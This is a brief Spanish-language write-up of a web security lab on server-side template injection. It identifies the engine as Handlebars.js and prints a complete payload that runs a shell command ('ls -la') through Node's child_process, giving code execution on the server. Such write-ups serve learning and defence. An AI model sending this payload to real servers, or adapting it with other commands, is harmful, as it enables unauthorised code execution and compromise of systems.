4 - Server-side template injection in an unknown language with a documented exploit

Fuzzeamos como en el anterior lab y con el error que tira nos chiva que es HandlebarsJS

El siguiente chorizo sirve para ejecutar código:

{{#with "s" as |string|}}{{#with "e"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub "constructor")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push "return require('child_process').execSync('ls -la');"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}